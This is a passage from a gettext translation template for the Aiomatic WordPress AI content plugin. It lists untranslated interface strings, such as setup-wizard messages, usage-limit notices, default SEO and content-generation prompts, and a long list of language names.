class-setup-wizard.php:1461 msgid "" "You've successfully configured the essential settings, learned the basics of " "the plugin's usage and your WordPress site is now empowered with cutting-" "edge AI capabilities. Here's what you can do next:" msgstr "" #: class-setup-wizard.php:1463 msgid "Explore Aiomatic:" msgstr "" #: class-setup-wizard.php:1463 msgid "" "Discover the vast array of features Aiomatic offers, from AI-driven content " "creation to automated SEO enhancements." msgstr "" #: class-setup-wizard.php:1465 msgid "Create Content:" msgstr "" #: class-setup-wizard.php:1465 msgid "" "Start generating engaging, relevant, and high-quality content for your site " "with just a few clicks." msgstr "" #: class-setup-wizard.php:1467 msgid "Chat With The Chatbot:" msgstr "" #: class-setup-wizard.php:1467 msgid "" "Set up the chatbot on your site and use it as a virtual assistant to " "streamline your work." msgstr "" #: class-setup-wizard.php:1469 msgid "Customize Settings:" msgstr "" #: class-setup-wizard.php:1469 msgid "" "Tailor Aiomatic further by adjusting the settings to perfectly match your " "content strategy." msgstr "" #: class-setup-wizard.php:1471 msgid "What's Next?" msgstr "" #: class-setup-wizard.php:1473 msgid "Test Drive:" msgstr "" #: class-setup-wizard.php:1473 msgid "" "Feel free to experiment with different settings and features to see what " "works best for your needs." msgstr "" #: class-setup-wizard.php:1475 msgid "Need Inspiration?" msgstr "" #: class-setup-wizard.php:1475 msgid "Check out our tutorial videos for creative uses of Aiomatic, on" msgstr "" #: class-setup-wizard.php:1477 msgid "Dive Deeper:" msgstr "" #: class-setup-wizard.php:1477 msgid "" "Visit the Aiomatic Dashboard to fine-tune additional settings or explore " "advanced features." msgstr "" #: class-setup-wizard.php:1479 msgid "Suggest New Features For The Plugin:" msgstr "" #: class-setup-wizard.php:1479 #, php-format msgid "" "Visit the Aiomatic's Update Ideas Boad , where you will be able to vote for new features and also leave your own " "new feature ideas, to be implemented and added in new plugin updates." msgstr "" #: class-setup-wizard.php:1481 msgid "Need Assistance?" msgstr "" #: class-setup-wizard.php:1483 #, php-format msgid "" "Our support system is ready to help you " "with any questions or issues you might encounter. Don't hesitate to reach " "out!" msgstr "" #: class-setup-wizard.php:1485 msgid "Stay Updated!" msgstr "" #: class-setup-wizard.php:1487 msgid "" "Keep your plugin updated to enjoy the latest features and improvements. " "Check the update log regularly for the latest updates." msgstr "" #: class-setup-wizard.php:1489 msgid "Thank You for Choosing Aiomatic!" msgstr "" #: class-setup-wizard.php:1491 msgid "" "We are excited to see the incredible content you will create and the success " "it will bring to your site. Let's make your WordPress experience phenomenal!" msgstr "" #: class-setup-wizard.php:1497 msgid "Next Steps" msgstr "" #: class-setup-wizard.php:1500 msgid "Go to Aiomatic Dashboard!" msgstr "" #: res/StatisticsClass.php:127 res/StatisticsClass.php:141 #: res/StatisticsClass.php:228 res/StatisticsClass.php:461 #: res/StatisticsClass.php:465 msgid "You have reached the usage limit." msgstr "" #: res/StatisticsClass.php:785 msgid "Limits not available" msgstr "" #: res/StatisticsClass.php:883 res/StatisticsClass.php:901 #: res/StatisticsClass.php:919 msgid "used" msgstr "" #: res/StatisticsClass.php:886 res/StatisticsClass.php:904 #: res/StatisticsClass.php:922 res/StatisticsClass.php:1017 #: res/StatisticsClass.php:1030 res/StatisticsClass.php:1043 msgid " used from a maximum of " msgstr "" #: res/StatisticsClass.php:890 res/StatisticsClass.php:1021 msgid "queries" msgstr "" #: res/StatisticsClass.php:908 res/StatisticsClass.php:1034 msgid "tokens" msgstr "" #: res/StatisticsClass.php:926 res/StatisticsClass.php:1047 msgid "USD" msgstr "" #: res/StatisticsClass.php:1059 msgid "No limit" msgstr "" #: res/admin/ai-post-gutenberg.php:10 res/admin/ai-post.php:10 #, php-format msgid "" "Create a captivating and concise SEO title in English for your WordPress %s: " "\"%s\". Boost its search engine visibility with relevant keywords for " "maximum impact." msgstr "" #: res/admin/ai-post-gutenberg.php:18 res/admin/ai-post.php:18 #, php-format msgid "" "Craft an enticing and succinct meta description in English for your " "WordPress %s: \"%s\". Emphasize the notable features and advantages in just " "155 characters, incorporating relevant keywords to optimize its SEO " "performance." msgstr "" #: res/admin/ai-post-gutenberg.php:26 res/admin/ai-post.php:26 #, php-format msgid "" "Create a captivating and comprehensive English description for your " "WordPress %s: \"%s\". Dive into specific details, highlighting its unique " "features of this subject, if possible, benefits, and the value it brings. " "Craft a compelling narrative around the %s that captivates the audience. Use " "HTML for formatting, include unnumbered lists and bold. Writing Style: " "Creative. Tone: Neutral." msgstr "" #: res/admin/ai-post-gutenberg.php:34 res/admin/ai-post.php:34 #, php-format msgid "" "Write a captivating and succinct English summary for the WordPress %s: " "\"%s\", accentuating its pivotal features, advantages, and distinctive " "qualities." msgstr "" #: res/admin/ai-post-gutenberg.php:42 res/admin/ai-post.php:42 #, php-format msgid "" "Suggest a series of pertinent keywords in English for your WordPress %s: " "\"%s\". These keywords should be closely connected to the %s, optimizing its " "visibility. Please present the keywords in a comma-separated format without " "using symbols like -, #, etc." msgstr "" #: res/admin/ai-post-gutenberg.php:47 res/admin/ai-post.php:47 msgid "Title Idea / Keywords" msgstr "" #: res/admin/ai-post-gutenberg.php:52 res/admin/ai-post.php:52 msgid "What To Generate?" msgstr "" #: res/admin/ai-post-gutenberg.php:54 res/admin/ai-post.php:54 msgid "Generate A SEO Title" msgstr "" #: res/admin/ai-post-gutenberg.php:58 res/admin/ai-post.php:58 msgid "Generate A SEO Meta Description" msgstr "" #: res/admin/ai-post-gutenberg.php:62 res/admin/ai-post.php:62 msgid "Generate Content" msgstr "" #: res/admin/ai-post-gutenberg.php:66 res/admin/ai-post.php:66 msgid "Generate Short Description (Excerpt)" msgstr "" #: res/admin/ai-post-gutenberg.php:70 res/admin/ai-post.php:70 msgid "Generate Tags" msgstr "" #: res/admin/ai-post-gutenberg.php:74 res/admin/ai-post.php:74 msgid "Toggle Advanced Options" msgstr "" #: res/admin/ai-post-gutenberg.php:78 res/aiomatic-amazon-list.php:360 #: res/aiomatic-amazon-list.php:2982 res/aiomatic-automation-list.php:5047 #: res/aiomatic-automation-list.php:7957 res/aiomatic-automation-list.php:7962 #: res/aiomatic-chatbot.php:7435 res/aiomatic-chatbot.php:8852 #: res/aiomatic-csv-list.php:192 res/aiomatic-csv-list.php:1326 #: res/aiomatic-limits-statistics.php:219 #: res/aiomatic-limits-statistics.php:1840 res/aiomatic-listicle-list.php:330 #: res/aiomatic-listicle-list.php:2865 res/aiomatic-more.php:146 #: res/aiomatic-review-list.php:360 res/aiomatic-review-list.php:3059 #: res/aiomatic-rules-list.php:345 res/aiomatic-rules-list.php:3194 #: res/aiomatic-single-list.php:1186 res/aiomatic-single-list.php:1397 #: res/aiomatic-single-list.php:2600 res/aiomatic-single-list.php:3803 #: res/aiomatic-single-list.php:4555 res/aiomatic-single-list.php:5825 #: res/aiomatic-single-list.php:7122 res/aiomatic-youtube-list.php:330 #: res/aiomatic-youtube-list.php:2920 msgid "Advanced Settings" msgstr "" #: res/admin/ai-post-gutenberg.php:80 res/admin/ai-post.php:76 msgid "AI Assistant ID" msgstr "" #: res/admin/ai-post-gutenberg.php:83 res/admin/ai-post.php:79 msgid "Set the assistant ID to be used for the AI content creation." msgstr "" #: res/admin/ai-post-gutenberg.php:130 res/admin/ai-post.php:126 msgid "Set the model to be used for the AI content creation." msgstr "" #: res/admin/ai-post-gutenberg.php:156 res/admin/ai-post.php:151 #: res/aiomatic-amazon-list.php:3421 res/aiomatic-listicle-list.php:3221 #: res/aiomatic-review-list.php:3491 res/aiomatic-rules-list.php:3550 #: res/aiomatic-youtube-list.php:3285 msgid "Title Prompt" msgstr "" #: res/admin/ai-post-gutenberg.php:159 res/admin/ai-post-gutenberg.php:169 #: res/admin/ai-post-gutenberg.php:179 res/admin/ai-post-gutenberg.php:189 #: res/admin/ai-post-gutenberg.php:199 res/admin/ai-post.php:154 #: res/admin/ai-post.php:164 res/admin/ai-post.php:174 #: res/admin/ai-post.php:184 res/admin/ai-post.php:194 #, php-format msgid "" "You can use the following shortcodes here: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/admin/ai-post-gutenberg.php:166 res/admin/ai-post.php:161 msgid "SEO Meta Description Prompt" msgstr "" #: res/admin/ai-post-gutenberg.php:176 res/admin/ai-post.php:171 #: res/aiomatic-amazon-list.php:3505 res/aiomatic-review-list.php:3617 #: res/aiomatic-rules-list.php:3676 res/aiomatic-youtube-list.php:3411 msgid "Content Prompt" msgstr "" #: res/admin/ai-post-gutenberg.php:186 res/admin/ai-post.php:181 msgid "Short Description Prompt" msgstr "" #: res/admin/ai-post-gutenberg.php:196 res/admin/ai-post.php:191 msgid "Tags Prompt" msgstr "" #: res/admin/ai-post-gutenberg.php:206 res/admin/ai-post.php:201 #, php-format msgid "" "You can edit default values for the above fields, here" msgstr "" #: res/admin/ai-post-gutenberg.php:210 msgid "AI Generated Results" msgstr "" #: res/admin/ai-post-gutenberg.php:213 msgid "AI Generated Title" msgstr "" #: res/admin/ai-post-gutenberg.php:218 msgid "AI Generated SEO Meta Description" msgstr "" #: res/admin/ai-post-gutenberg.php:223 msgid "AI Generated Content" msgstr "" #: res/admin/ai-post-gutenberg.php:228 msgid "AI Generated Excerpt" msgstr "" #: res/admin/ai-post-gutenberg.php:233 msgid "AI Generated Tags" msgstr "" #: res/admin/ai-post-gutenberg.php:239 res/admin/ai-post.php:205 msgid "Generate Using AI" msgstr "" #: res/admin/ai-post-gutenberg.php:240 msgid "Save AI Content" msgstr "" #: res/aiomatic-amazon-list.php:5 res/aiomatic-listicle-list.php:5 #: res/aiomatic-main.php:9552 res/aiomatic-review-list.php:5 #: res/aiomatic-rules-list.php:5 res/aiomatic-single-list.php:5 #: res/aiomatic-single-list.php:143 res/aiomatic-youtube-list.php:5 msgid "English" msgstr "" #: res/aiomatic-amazon-list.php:6 res/aiomatic-listicle-list.php:6 #: res/aiomatic-main.php:9572 res/aiomatic-review-list.php:6 #: res/aiomatic-rules-list.php:6 res/aiomatic-single-list.php:6 #: res/aiomatic-single-list.php:144 res/aiomatic-youtube-list.php:6 msgid "Spanish" msgstr "" #: res/aiomatic-amazon-list.php:7 res/aiomatic-listicle-list.php:7 #: res/aiomatic-main.php:9577 res/aiomatic-review-list.php:7 #: res/aiomatic-rules-list.php:7 res/aiomatic-single-list.php:7 #: res/aiomatic-single-list.php:145 res/aiomatic-youtube-list.php:7 msgid "French" msgstr "" #: res/aiomatic-amazon-list.php:8 res/aiomatic-listicle-list.php:8 #: res/aiomatic-main.php:9587 res/aiomatic-review-list.php:8 #: res/aiomatic-rules-list.php:8 res/aiomatic-single-list.php:8 #: res/aiomatic-single-list.php:146 res/aiomatic-youtube-list.php:8 msgid "Italian" msgstr "" #: res/aiomatic-amazon-list.php:9 res/aiomatic-listicle-list.php:9 #: res/aiomatic-review-list.php:9 res/aiomatic-rules-list.php:9 #: res/aiomatic-single-list.php:9 res/aiomatic-single-list.php:147 #: res/aiomatic-youtube-list.php:9 msgid "Afrikaans" msgstr "" #: res/aiomatic-amazon-list.php:10 res/aiomatic-listicle-list.php:10 #: res/aiomatic-review-list.php:10 res/aiomatic-rules-list.php:10 #: res/aiomatic-single-list.php:10 res/aiomatic-single-list.php:148 #: res/aiomatic-youtube-list.php:10 msgid "Albanian" msgstr "" #: res/aiomatic-amazon-list.php:11 res/aiomatic-listicle-list.php:11 #: res/aiomatic-review-list.php:11 res/aiomatic-rules-list.php:11 #: res/aiomatic-single-list.php:11 res/aiomatic-single-list.php:149 #: res/aiomatic-youtube-list.php:11 msgid "Arabic" msgstr "" #: res/aiomatic-amazon-list.php:12 res/aiomatic-listicle-list.php:12 #: res/aiomatic-review-list.php:12 res/aiomatic-rules-list.php:12 #: res/aiomatic-single-list.php:12 res/aiomatic-single-list.php:150 #: res/aiomatic-youtube-list.php:12 msgid "Amharic" msgstr "" #: res/aiomatic-amazon-list.php:13 res/aiomatic-listicle-list.php:13 #: res/aiomatic-review-list.php:13 res/aiomatic-rules-list.php:13 #: res/aiomatic-single-list.php:13 res/aiomatic-single-list.php:151 #: res/aiomatic-youtube-list.php:13 msgid "Armenian" msgstr "" #: res/aiomatic-amazon-list.php:14 res/aiomatic-listicle-list.php:14 #: res/aiomatic-review-list.php:14 res/aiomatic-rules-list.php:14 #: res/aiomatic-single-list.php:14 res/aiomatic-single-list.php:152 #: res/aiomatic-youtube-list.php:14 msgid "Belarusian" msgstr "" #: res/aiomatic-amazon-list.php:15 res/aiomatic-listicle-list.php:15 #: res/aiomatic-main.php:9652 res/aiomatic-review-list.php:15 #: res/aiomatic-rules-list.php:15 res/aiomatic-single-list.php:15 #: res/aiomatic-single-list.php:153 res/aiomatic-youtube-list.php:15 msgid "Bulgarian" msgstr "" #: res/aiomatic-amazon-list.php:16 res/aiomatic-listicle-list.php:16 #: res/aiomatic-review-list.php:16 res/aiomatic-rules-list.php:16 #: res/aiomatic-single-list.php:16 res/aiomatic-single-list.php:154 #: res/aiomatic-youtube-list.php:16 msgid "Catalan" msgstr "" #: res/aiomatic-amazon-list.php:17 res/aiomatic-listicle-list.php:17 #: res/aiomatic-review-list.php:17 res/aiomatic-rules-list.php:17 #: res/aiomatic-single-list.php:17 res/aiomatic-single-list.php:155 #: res/aiomatic-youtube-list.php:17 msgid "Chinese Simplified" msgstr "" #: res/aiomatic-amazon-list.php:18 res/aiomatic-listicle-list.php:18 #: res/aiomatic-review-list.php:18 res/aiomatic-rules-list.php:18 #: res/aiomatic-single-list.php:18 res/aiomatic-single-list.php:156 #: res/aiomatic-youtube-list.php:18 msgid "Croatian" msgstr "" #: res/aiomatic-amazon-list.php:19 res/aiomatic-listicle-list.php:19 #: res/aiomatic-main.php:9557 res/aiomatic-review-list.php:19 #: res/aiomatic-rules-list.php:19 res/aiomatic-single-list.php:19 #: res/aiomatic-single-list.php:157 res/aiomatic-youtube-list.php:19 msgid "Czech" msgstr "" #: res/aiomatic-amazon-list.php:20 res/aiomatic-listicle-list.php:20 #: res/aiomatic-main.php:9562 res/aiomatic-review-list.php:20 #: res/aiomatic-rules-list.php:20 res/aiomatic-single-list.php:20 #: res/aiomatic-single-list.php:158 res/aiomatic-youtube-list.php:20 msgid "Danish" msgstr "" #: res/aiomatic-amazon-list.php:21 res/aiomatic-listicle-list.php:21 #: res/aiomatic-main.php:9597 res/aiomatic-review-list.php:21 #: res/aiomatic-rules-list.php:21 res/aiomatic-single-list.php:21 #: res/aiomatic-single-list.php:159 res/aiomatic-youtube-list.php:21 msgid "Dutch" msgstr "" #: res/aiomatic-amazon-list.php:22 res/aiomatic-listicle-list.php:22 #: res/aiomatic-review-list.php:22 res/aiomatic-rules-list.php:22 #: res/aiomatic-single-list.php:22 res/aiomatic-single-list.php:160 #: res/aiomatic-youtube-list.php:22 msgid "Estonian" msgstr "" #: res/aiomatic-amazon-list.php:23 res/aiomatic-listicle-list.php:23 #: res/aiomatic-review-list.php:23 res/aiomatic-rules-list.php:23 #: res/aiomatic-single-list.php:23 res/aiomatic-single-list.php:161 #: res/aiomatic-youtube-list.php:23 msgid "Filipino" msgstr "" #: res/aiomatic-amazon-list.php:24 res/aiomatic-listicle-list.php:24 #: res/aiomatic-review-list.php:24 res/aiomatic-rules-list.php:24 #: res/aiomatic-single-list.php:24 res/aiomatic-single-list.php:162 #: res/aiomatic-youtube-list.php:24 msgid "Finnish" msgstr "" #: res/aiomatic-amazon-list.php:25 res/aiomatic-listicle-list.php:25 #: res/aiomatic-review-list.php:25 res/aiomatic-rules-list.php:25 #: res/aiomatic-single-list.php:25 res/aiomatic-single-list.php:163 #: res/aiomatic-youtube-list.php:25 msgid "Galician" msgstr "" #: res/aiomatic-amazon-list.php:26 res/aiomatic-listicle-list.php:26 #: res/aiomatic-main.php:9567 res/aiomatic-review-list.php:26 #: res/aiomatic-rules-list.php:26 res/aiomatic-single-list.php:26 #: res/aiomatic-single-list.php:164 res/aiomatic-youtube-list.php:26 msgid "German" msgstr "" #: res/aiomatic-amazon-list.php:27 res/aiomatic-listicle-list.php:27 #: res/aiomatic-main.php:9662 res/aiomatic-review-list.php:27 #: res/aiomatic-rules-list.php:27 res/aiomatic-single-list.php:27 #: res/aiomatic-single-list.php:165 res/aiomatic-youtube-list.php:27 msgid "Greek" msgstr "" #: res/aiomatic-amazon-list.php:28 res/aiomatic-listicle-list.php:28 #: res/aiomatic-review-list.php:28 res/aiomatic-rules-list.php:28 #: res/aiomatic-single-list.php:28 res/aiomatic-single-list.php:166 #: res/aiomatic-youtube-list.php:28 msgid "Hebrew" msgstr "" #: res/aiomatic-amazon-list.php:29 res/aiomatic-listicle-list.php:29 #: res/aiomatic-review-list.php:29 res/aiomatic-rules-list.php:29 #: res/aiomatic-single-list.php:29 res/aiomatic-single-list.php:167 #: res/aiomatic-youtube-list.php:29 msgid "Hindi" msgstr "" #: res/aiomatic-amazon-list.php:30 res/aiomatic-listicle-list.php:30 #: res/aiomatic-main.php:9592 res/aiomatic-review-list.php:30 #: res/aiomatic-rules-list.php:30 res/aiomatic-single-list.php:30 #: res/aiomatic-single-list.php:168 res/aiomatic-youtube-list.php:30 msgid "Hungarian" msgstr "" #: res/aiomatic-amazon-list.php:31 res/aiomatic-listicle-list.php:31 #: res/aiomatic-review-list.php:31 res/aiomatic-rules-list.php:31 #: res/aiomatic-single-list.php:31 res/aiomatic-single-list.php:169 #: res/aiomatic-youtube-list.php:31 msgid "Icelandic" msgstr "" #: res/aiomatic-amazon-list.php:32 res/aiomatic-listicle-list.php:32 #: res/aiomatic-main.php:9582 res/aiomatic-review-list.php:32 #: res/aiomatic-rules-list.php:32 res/aiomatic-single-list.php:32 #: res/aiomatic-single-list.php:170 res/aiomatic-youtube-list.php:32 msgid "Indonesian" msgstr "" #: res/aiomatic-amazon-list.php:33 res/aiomatic-listicle-list.php:33 #: res/aiomatic-review-list.php:33 res/aiomatic-rules-list.php:33 #: res/aiomatic-single-list.php:33 res/aiomatic-single-list.php:171 #: res/aiomatic-youtube-list.php:33 msgid "Irish" msgstr "" #: res/aiomatic-amazon-list.php:34 res/aiomatic-listicle-list.php:34 #: res/aiomatic-main.php:9667 res/aiomatic-review-list.php:34 #: res/aiomatic-rules-list.php:34 res/aiomatic-single-list.php:34 #: res/aiomatic-single-list.php:172 res/aiomatic-youtube-list.php:34 msgid "Japanese" msgstr "" #: res/aiomatic-amazon-list.php:35 res/aiomatic-listicle-list.php:35 #: res/aiomatic-main.php:9672 res/aiomatic-review-list.php:35 #: res/aiomatic-rules-list.php:35 res/aiomatic-single-list.php:35 #: res/aiomatic-single-list.php:173 res/aiomatic-youtube-list.php:35 msgid "Korean" msgstr "" #: res/aiomatic-amazon-list.php:36 res/aiomatic-listicle-list.php:36 #: res/aiomatic-review-list.php:36 res/aiomatic-rules-list.php:36 #: res/aiomatic-single-list.php:36 res/aiomatic-single-list.php:174 #: res/aiomatic-youtube-list.php:36 msgid "Latvian" msgstr "" #: res/aiomatic-amazon-list.php:37 res/aiomatic-listicle-list.php:37 #: res/aiomatic-review-list.php:37 res/aiomatic-rules-list.php:37 #: res/aiomatic-single-list.php:37 res/aiomatic-single-list.php:175 #: res/aiomatic-youtube-list.php:37 msgid "Lithuanian" msgstr "" #: res/aiomatic-amazon-list.php:38 res/aiomatic-listicle-list.php:38 #: res/aiomatic-review-list.php:38 res/aiomatic-rules-list.php:38 #: res/aiomatic-single-list.php:38 res/aiomatic-single-list.php:176 #: res/aiomatic-youtube-list.php:38 msgid "Norwegian" msgstr "" #: res/aiomatic-amazon-list.php:39 res/aiomatic-listicle-list.php:39 #: res/aiomatic-review-list.php:39 res/aiomatic-rules-list.php:39 #: res/aiomatic-single-list.php:39 res/aiomatic-single-list.php:177 #: res/aiomatic-youtube-list.php:39 msgid "Macedonian" msgstr "" #: res/aiomatic-amazon-list.php:40 res/aiomatic-listicle-list.php:40 #: res/aiomatic-review-list.php:40 res/aiomatic-rules-list.php:40 #: res/aiomatic-single-list.php:40 res/aiomatic-single-list.php:178 #: res/aiomatic-youtube-list.php:40 msgid "Malay" msgstr "" #: res/aiomatic-amazon-list.php:41 res/aiomatic-listicle-list.php:41 #: res/aiomatic-review-list.php:41 res/aiomatic-rules-list.php:41 #: res/aiomatic-single-list.php:41 res/aiomatic-single-list.php:179 #: res/aiomatic-youtube-list.php:41 msgid "Maltese" msgstr "" #: res/aiomatic-amazon-list.php:42 res/aiomatic-listicle-list.php:42 #: res/aiomatic-review-list.php:42 res/aiomatic-rules-list.php:42 #: res/aiomatic-single-list.php:42 res/aiomatic-single-list.php:180 #: res/aiomatic-youtube-list.php:42 msgid "Persian" msgstr "" #: res/aiomatic-amazon-list.php:43 res/aiomatic-listicle-list.php:43 #: res/aiomatic-main.php:9607 res/aiomatic-review-list.php:43 #: res/aiomatic-rules-list.php:43 res/aiomatic-single-list.php:43 #: res/aiomatic-single-list.php:181 res/aiomatic-youtube-list.php:43 msgid "Polish" msgstr "" #: res/aiomatic-amazon-list.php:44 res/aiomatic-listicle-list.php:44 #: res/aiomatic-main.php:9612 res/aiomatic-review-list.php:44 #: res/aiomatic-rules-list.php:44 res/aiomatic-single-list.php:44 #: res/aiomatic-single-list.php:182 res/aiomatic-youtube-list.php:44 msgid "Portuguese" msgstr "" #: res/aiomatic-amazon-list.php:45 res/aiomatic-listicle-list.php:45 #: res/aiomatic-main.php:9617 res/aiomatic-review-list.php:45 #: res/aiomatic-rules-list.php:45 res/aiomatic-single-list.php:45 #: res/aiomatic-single-list.php:183 res/aiomatic-youtube-list.php:45 msgid "Romanian" msgstr "" #: res/aiomatic-amazon-list.php:46 res/aiomatic-listicle-list.php:46 #: res/aiomatic-main.php:9657 res/aiomatic-review-list.php:46 #: res/aiomatic-rules-list.php:46 res/aiomatic-single-list.php:46 #: res/aiomatic-single-list.php:184 res/aiomatic-youtube-list.php:46 msgid "Russian" msgstr "" #: res/aiomatic-amazon-list.php:47 res/aiomatic-listicle-list.php:47 #: res/aiomatic-review-list.php:47 res/aiomatic-rules-list.php:47 #: res/aiomatic-single-list.php:47 res/aiomatic-single-list.php:185 #: res/aiomatic-youtube-list.php:47 msgid "Serbian" msgstr "" #: res/aiomatic-amazon-list.php:48 res/aiomatic-listicle-list.php:48 #: res/aiomatic-main.php:9622 res/aiomatic-review-list.php:48 #: res/aiomatic-rules-list.php:48 res/aiomatic-single-list.php:48 #: res/aiomatic-single-list.php:186 res/aiomatic-youtube-list.php:48 msgid "Slovak" msgstr "" #: res/aiomatic-amazon-list.php:49 res/aiomatic-listicle-list.php:49 #: res/aiomatic-review-list.php:49 res/aiomatic-rules-list.php:49 #: res/aiomatic-single-list.php:49 res/aiomatic-single-list.php:187 #: res/aiomatic-youtube-list.php:49 msgid "Slovenian" msgstr "" #: res/aiomatic-amazon-list.php:50 res/aiomatic-amazon-list.php:104 #: res/aiomatic-listicle-list.php:50 res/aiomatic-listicle-list.php:104 #: res/aiomatic-review-list.php:50 res/aiomatic-review-list.php:104 #: res/aiomatic-rules-list.php:50 res/aiomatic-rules-list.php:104 #: res/aiomatic-single-list.php:50 res/aiomatic-single-list.php:104 #: res/aiomatic-single-list.php:188 res/aiomatic-single-list.php:242 #: res/aiomatic-youtube-list.php:50 res/aiomatic-youtube-list.php:104 msgid "Swahili" msgstr "" #: res/aiomatic-amazon-list.php:51 res/aiomatic-listicle-list.php:51 #: res/aiomatic-main.php:9632 res/aiomatic-review-list.php:51 #: res/aiomatic-rules-list.php:51 res/aiomatic-single-list.php:51 #: res/aiomatic-single-list.php:189 res/aiomatic-youtube-list.php:51 msgid "Swedish" msgstr "" #: res/aiomatic-amazon-list.php:52 res/aiomatic-listicle-list.php:52 #: res/aiomatic-main.php:9647 res/aiomatic-review-list.php:52 #: res/aiomatic-rules-list.php:52 res/aiomatic-single-list.php:52 #: res/aiomatic-single-list.php:190 res/aiomatic-youtube-list.php:52 msgid "Thai" msgstr "" #: res/aiomatic-amazon-list.php:53 res/aiomatic-listicle-list.php:53 #: res/aiomatic-main.php:9637 res/aiomatic-review-list.php:53 #: res/aiomatic-rules-list.php:53 res/aiomatic-single-list.php:53 #: res/aiomatic-single-list.php:191 res/aiomatic-youtube-list.php:53 msgid "Turkish" msgstr "" #: res/aiomatic-amazon-list.php:54 res/aiomatic-listicle-list.php:54 #: res/aiomatic-review-list.php:54 res/aiomatic-rules-list.php:54 #: res/aiomatic-single-list.php:54 res/aiomatic-single-list.php:192 #: res/aiomatic-youtube-list.php:54 msgid "Ukrainian" msgstr "" #: res/aiomatic-amazon-list.php:55 res/aiomatic-listicle-list.php:55 #: res/aiomatic-main.php:9642 res/aiomatic-review-list.php:55 #: res/aiomatic-rules-list.php:55 res/aiomatic-single-list.php:55 #: res/aiomatic-single-list.php:193 res/aiomatic-youtube-list.php:55 msgid "Vietnamese" msgstr "" #: res/aiomatic-amazon-list.php:56 res/aiomatic-listicle-list.php:56 #: res/aiomatic-review-list.php:56 res/aiomatic-rules-list.php:56 #: res/aiomatic-single-list.php:56 res/aiomatic-single-list.php:194 #: res/aiomatic-youtube-list.php:56 msgid "Welsh" msgstr "" #: res/aiomatic-amazon-list.php:57 res/aiomatic-listicle-list.php:57 #: res/aiomatic-review-list.php:57 res/aiomatic-rules-list.php:57 #: res/aiomatic-single-list.php:57 res/aiomatic-single-list.php:195 #: res/aiomatic-youtube-list.php:57 msgid "Yiddish" msgstr "" #: res/aiomatic-amazon-list.php:58 res/aiomatic-listicle-list.php:58 #: res/aiomatic-review-list.php:58 res/aiomatic-rules-list.php:58 #: res/aiomatic-single-list.php:58 res/aiomatic-single-list.php:196 #: res/aiomatic-youtube-list.php:58 msgid "Tamil" msgstr "" #: res/aiomatic-amazon-list.php:59 res/aiomatic-listicle-list.php:59 #: res/aiomatic-review-list.php:59 res/aiomatic-rules-list.php:59 #: res/aiomatic-single-list.php:59 res/aiomatic-single-list.php:197 #: res/aiomatic-youtube-list.php:59 msgid "Azerbaijani" msgstr "" #: res/aiomatic-amazon-list.php:60 res/aiomatic-listicle-list.php:60 #: res/aiomatic-review-list.php:60 res/aiomatic-rules-list.php:60 #: res/aiomatic-single-list.php:60 res/aiomatic-single-list.php:198 #: res/aiomatic-youtube-list.php:60 msgid "Kannada" msgstr "" #: res/aiomatic-amazon-list.php:61 res/aiomatic-listicle-list.php:61 #: res/aiomatic-review-list.php:61 res/aiomatic-rules-list.php:61 #: res/aiomatic-single-list.php:61 res/aiomatic-single-list.php:199 #: res/aiomatic-youtube-list.php:61 msgid "Basque" msgstr "" #: res/aiomatic-amazon-list.php:62 res/aiomatic-listicle-list.php:62 #: res/aiomatic-review-list.php:62 res/aiomatic-rules-list.php:62 #: res/aiomatic-single-list.php:62 res/aiomatic-single-list.php:200 #: res/aiomatic-youtube-list.php:62 msgid "Bengali" msgstr "" #: res/aiomatic-amazon-list.php:63 res/aiomatic-listicle-list.php:63 #: res/aiomatic-review-list.php:63 res/aiomatic-rules-list.php:63 #: res/aiomatic-single-list.php:63 res/aiomatic-single-list.php:201 #: res/aiomatic-youtube-list.php:63 msgid "Latin" msgstr "" #: res/aiomatic-amazon-list.php:64 res/aiomatic-listicle-list.php:64 #: res/aiomatic-review-list.php:64 res/aiomatic-rules-list.php:64 #: res/aiomatic-single-list.php:64 res/aiomatic-single-list.php:202 #: res/aiomatic-youtube-list.php:64 msgid "Chinese Traditional" msgstr "" #: res/aiomatic-amazon-list.php:65 res/aiomatic-listicle-list.php:65 #: res/aiomatic-review-list.php:65 res/aiomatic-rules-list.php:65 #: res/aiomatic-single-list.php:65 res/aiomatic-single-list.php:203 #: res/aiomatic-youtube-list.php:65 msgid "Esperanto" msgstr "" #: res/aiomatic-amazon-list.php:66 res/aiomatic-listicle-list.php:66 #: res/aiomatic-review-list.php:66 res/aiomatic-rules-list.php:66 #: res/aiomatic-single-list.php:66 res/aiomatic-single-list.php:204 #: res/aiomatic-youtube-list.php:66 msgid "Georgian" msgstr "" #: res/aiomatic-amazon-list.php:67 res/aiomatic-listicle-list.php:67 #: res/aiomatic-review-list.php:67 res/aiomatic-rules-list.php:67 #: res/aiomatic-single-list.php:67 res/aiomatic-single-list.php:205 #: res/aiomatic-youtube-list.php:67 msgid "Telugu" msgstr "" #: res/aiomatic-amazon-list.php:68 res/aiomatic-listicle-list.php:68 #: res/aiomatic-review-list.php:68 res/aiomatic-rules-list.php:68 #: res/aiomatic-single-list.php:68 res/aiomatic-single-list.php:206 #: res/aiomatic-youtube-list.php:68 msgid "Gujarati" msgstr "" #: res/aiomatic-amazon-list.php:69 res/aiomatic-listicle-list.php:69 #: res/aiomatic-review-list.php:69 res/aiomatic-rules-list.php:69 #: res/aiomatic-single-list.php:69 res/aiomatic-single-list.php:207 #: res/aiomatic-youtube-list.php:69 msgid "Haitian Creole" msgstr "" #: res/aiomatic-amazon-list.php:70 res/aiomatic-listicle-list.php:70 #: res/aiomatic-review-list.php:70 res/aiomatic-rules-list.php:70 #: res/aiomatic-single-list.php:70 res/aiomatic-single-list.php:208 #: res/aiomatic-youtube-list.php:70 msgid "Urdu" msgstr "" #: res/aiomatic-amazon-list.php:71 res/aiomatic-listicle-list.php:71 #: res/aiomatic-review-list.php:71 res/aiomatic-rules-list.php:71 #: res/aiomatic-single-list.php:71 res/aiomatic-single-list.php:209 